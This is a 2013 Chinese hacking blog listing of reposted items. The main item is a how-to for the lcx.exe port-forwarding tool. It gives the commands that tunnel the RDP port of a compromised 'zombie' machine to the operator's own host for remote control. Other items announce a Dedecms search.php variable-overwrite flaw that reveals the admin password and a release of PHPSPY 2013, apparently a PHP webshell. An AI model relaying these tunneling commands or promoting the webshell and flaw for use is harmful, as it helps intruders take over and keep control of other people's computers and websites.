作者：admin 发布于：2013-3-9 12:21 Saturday 分类：网络转载
09Mar
多说无益,直接上kernel debugger(核心调试器)看tcpip里面的相关变量是最直接的.标签: 半开连接数
作者：admin 发布于：2013-3-7 16:47 Thursday 分类：网络转载
07Mar
lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.
用法:如在本机B上监听 -listen 51 3389，在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。
首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
显示如下：[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
...
标签: lcx
作者：admin 发布于：2013-1-18 16:59 Friday 分类：网络转载
18Jan
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.作者: c4rp3nt3r@0x50sec.org
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
============
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
作者：admin 发布于：2013-1-14 14:41 Monday 分类：网络转载
14Jan
PHPSPY 2013 功能改变可以看之前的预告：
http://www.sablog.net/blog/phpspy2013_advance_notice/
PHPSPY 2013也是最终版，以后应该不会继续更新了。
最后预祝大家2013年，万事如意！
标签: PHPSPY2013
